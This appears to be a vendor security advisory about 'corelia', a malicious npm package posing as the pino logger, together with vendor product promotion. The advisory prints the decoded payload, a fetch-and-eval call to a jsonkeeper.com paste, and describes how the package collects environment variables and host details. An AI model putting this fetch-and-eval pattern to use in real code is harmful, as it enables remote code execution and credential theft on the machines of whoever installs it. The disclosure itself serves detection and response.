corelianpm
Malicious code in corelia (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package impersonates the popular pino logger (README header 'corelia (Pino)', homepage https://getpino.io, main file pino.js, npm version badge pointing at pino, mimicked API and keywords). On require, lib/writer.js base64-decodes a string and passes it to eval(); the decoded payload calls fetch('https://jsonkeeper.com/b/0DWFC').then(r=>r.json()).then(d=>{eval(d.ret)}), executing arbitrary JavaScript fetched from an anonymous, mutable JSON paste host with no integrity verification. Immediately before the eval, the module assembles a data object spreading the entire process.env plus os.hostname(), os.userInfo().username, os.platform(), and non-internal MAC addresses, available to the eval'd payload via closure. A second hex-encoded string array decodes to ['axios','get','https://www.jsonkeeper.com/b/HY6M6','then'], staging a second-stage axios GET to another jsonkeeper paste. Any consumer that does require('corelia') triggers bulk environment scraping and remote-payload execution.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for corelia (version 4.1.12). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging corelia across your stack and pipelines.
If you installed it — respond
corelia is a typosquat — you almost certainly intended a legitimately-named package. Remove corelia, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If corelia was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks corelia before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks corelia-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.